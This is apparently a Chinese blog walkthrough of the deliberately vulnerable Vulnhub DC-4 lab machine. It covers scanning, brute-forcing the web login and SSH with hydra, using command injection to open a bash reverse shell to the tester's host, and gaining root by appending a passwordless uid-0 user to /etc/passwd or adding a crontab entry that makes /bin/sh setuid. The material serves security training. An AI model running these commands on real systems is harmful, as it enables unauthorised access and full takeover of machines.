【Vulnhub】 DC-4 靶机
Vulnhub DC-4
一、环境搭建
下载链接:https://www.vulnhub.com/entry/dc-4,313/
解压后用VMware打开,导入虚拟机
网卡配置看个人习惯,我喜欢NAT
二、信息搜集
1.arp-scan 扫出ip
arp-scan 192.168.124.0/24
2.Nmap 扫描端口
扫描全端口,怕漏掉信息
nmap -sV -p 1-65535 -T4 -A
只开了22和80,留意一下系统版本 提权可能会有用
3.扫web目录
三、漏洞发现
打开页面发现是一个需要登陆的地方,丢到bp爆破一下
成功爆出 账号:admin 密码:happy
漏洞利用
登陆后发下如下图一个可以执行命令的地方
比如第一个执行的是ls -l ,利用bp抓包发现可以执行任意命令
细思恐极...直接弹shell试试
echo "bash -i >& /dev/tcp/192.168.124.141/22222 0>&1" | bash
这里注意提交的命令需要URL编码,不然不会被正确解析
%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%32%34%2e%31%34%31%2f%32%32%32%32%32%20%30%3e%26%31
看了看passwd文件发现有几个普通账户
既然还有22端口开着,那就先拿这几个用户入手。这里对jim下手
发现/home/jim/backups目录下有old-passwords.bak看着像备份密码的文件(果不其然,又要爆破)
hydra爆破22端口
hydra -l jim -P /usr/local/DC-4/jim-passwords.txt -vV -o /usr/local/DC-4/ssh-result.txt 192.168.124.160 ssh
-vV :显示详细输出过程
-o :将结果输出到指定文件
ssh登录 账户: jim 密码: jibril04
提权
将提权版本放到exp库中搜索,无果。
SUID提权
尝试了一下sudo -l ,无果。
搜索具备suid属性的文件
find / -perm -u=s -type f 2>/dev/null
发现没有熟悉的find命令(难过ing)但是发现了有个奇怪的test.sh
看看这个文件是做什么的
是一个jim用户创建的可以执行命令的文件,查询得知这个文件执行命令依然是用jim用户的权限而不是root所以也不能提权。
查询jim用户可以写的文件
find / -writable -type f 2>/dev/null | grep -v "/proc/"
发现有个邮件,看看是啥
发现了charles用户给jim用户他的密码....
ssh一下,发现该用户可以利用sudo无密码使用teehee且是root权限
发现此命令通过 -a 参数向别的文件写入内容
查询得知有两种思路
- 修改passwd文件,添加一个root权限的用户
- 写入定时任务,开启一个root权限的shell环境
修改passwd文件
sudo teehee -a "Zh1z3ven::0:0:::/bin/bash" > /etc/passwd
charles@dc-4:/usr/bin$ echo "Zh1z3ven::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
Zh1z3ven::0:0:::/bin/bash
charles@dc-4:/usr/bin$ su Zh1z3ven
root@dc-4:/usr/bin# id
uid=0(root) gid=0(root) groups=0(root)
root@dc-4:/usr/bin#
写入定时任务
向/etc/crontab写入一个定时任务创建一个4777属性的/bin/sh
4代表SUID权限
SUID:即为当文件(或命令,但linux一切皆文件~)具有SUID属性时,执行该文件的用户会临时拥有文件拥有者的权限。所以当时test.sh不可以提权,因为文件是jim的。
写入定时任务
echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab
已具有suid属性的/bin/sh
【Vulnhub】 DC-4 靶机的更多相关文章
- Vulnhub实战-JIS-CTF_VulnUpload靶机👻
Vulnhub实战-JIS-CTF_VulnUpload靶机 下载地址:http://www.vulnhub.com/entry/jis-ctf-vulnupload,228/ 你可以从上面地址获取靶 ...
- Vulnhub实战-doubletrouble靶机👻
Vulnhub实战-doubletrouble靶机 靶机下载地址:https://www.vulnhub.com/entry/doubletrouble-1,743/ 下载页面的ova格式文件导入vm ...
- Vulnhub实战-DockHole_1靶机👻
Vulnhub实战-DockHole_1靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-1,724/ 1.描述 我们下载下来这个靶机然后在vmware中打 ...
- Vulnhub实战-Dockhole_2靶机👻
Vulnhub实战-Dockhole_2靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-2,740/ 1.描述 hint:让我们不要浪费时间在蛮力上面! ...
- Vulnhub实战-grotesque3靶机👻
Vulnhub实战-grotesque3靶机 靶机地址:http://www.vulnhub.com/entry/grotesque-301,723/ 1.靶机描述 2.主机探测,端口扫描 我们在vm ...
- Vulnhub实战-FALL靶机👻
Vulnhub实战-FULL靶机 下载地址:http://www.vulnhub.com/entry/digitalworldlocal-fall,726/ 1.描述 通过描述我们可以知道这个靶机枚举 ...
- Vulnhub实战-rtemis靶机👻
Vulnhub实战-rtemis靶机 下载地址:http://www.vulnhub.com/entry/r-temis-1,649/ 描述 通过描述我们知道这个靶机有两个flag 主机发现 通过nm ...
- 【Vulnhub】DC-2靶机
Vulnhub DC-2 靶机 信息搜集 访问web端发现访问不了,可以观察到相应的URL为域名而不是IP,需要在hosts文件种添加一条DNS记录. host位置:C:\Windows\System ...
- vulnhub DC:1渗透笔记
DC:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/ kali ip地址 信息收集 首先扫描一下靶机ip地址 nmap -sP 192.168 ...
- vulnhub之GoldenEye-v1靶机
靶机:virtualbox 自动获取 攻击:kali linux 自动获取 设置同一张网卡开启dhcp ifconfig攻击IP是那个网段(也可以netdiscpver,不过毕竟是自己玩懒得等 ...
随机推荐
- log4j和log4j2的配置部分
log4j和log4j2的功能及形式对比 http://blog.csdn.net/fangaohua200/article/details/53561718 log4j2的proptise配置 ht ...
- 【转载】每天一个linux命令(11):nl命令
转载至:http://www.cnblogs.com/peida/archive/2012/11/01/2749048.html nl命令在linux系统中用来计算文件中行号.nl 可以将输出的文件内 ...
- 两个字符串,s1 包含 s2,包含多次,返回每一个匹配到的索引---python
#两个字符串,s1 包含 s2,包含多次,返回每一个匹配到的索引 def findSubIndex(str1,subStr): str_len = len(str1) sub_len = len(su ...
- Python实现 利用朴素贝叶斯模型(NBC)进行问句意图分类
目录 朴素贝叶斯分类(NBC) 程序简介 分类流程 字典(dict)构造:用于jieba分词和槽值替换 数据集构建 代码分析 另外:点击右下角魔法阵上的[显示目录],可以导航~~ 朴素贝叶斯分类(NB ...
- 如何在Apache HttpClient中设置TLS版本
1.简介 Apache HttpClient是一个底层.轻量级的客户端HTTP库,用于与HTTP服务器进行通信. 在本教程中,我们将学习如何在使用HttpClient时配置支持的传输层安全(TLS)版 ...
- 得力e+考勤机更新网络连接
1.进入APP,"企业信息"最下面"设备" 2.显示对应的设备的在线或离线 3.点击 >>>,点击"离线",连接蓝牙(手机 ...
- DataFrame的创建
DataFrame的创建从Spark2.0以上版本开始,Spark使用全新的SparkSession接口替代Spark1.6中的SQLContext及HiveContext接口来实现其对数据加载.转换 ...
- datax的安装和使用(windows)
github官方文档和项目:https://github.com/alibaba/DataX 下载后在windows环境下是可以直接用python编译执行的,但从github上下载的版本只支持pyth ...
- React 模块与组件
React 模块与组件 几个重要概念理解 1). 模块与组件 1. 模块: 理解: 向外提供特定功能的js程序, 一般就是一个js文件 为什么: js代码更多更复杂 作用: 复用js, 简化js的编写 ...
- Spring RestTemplate 之exchange方法
●exchange方法提供统一的方法模板进行四种请求:POST,PUT,DELETE,GET (1)POST请求 String reqJsonStr = "{\"code\&quo ...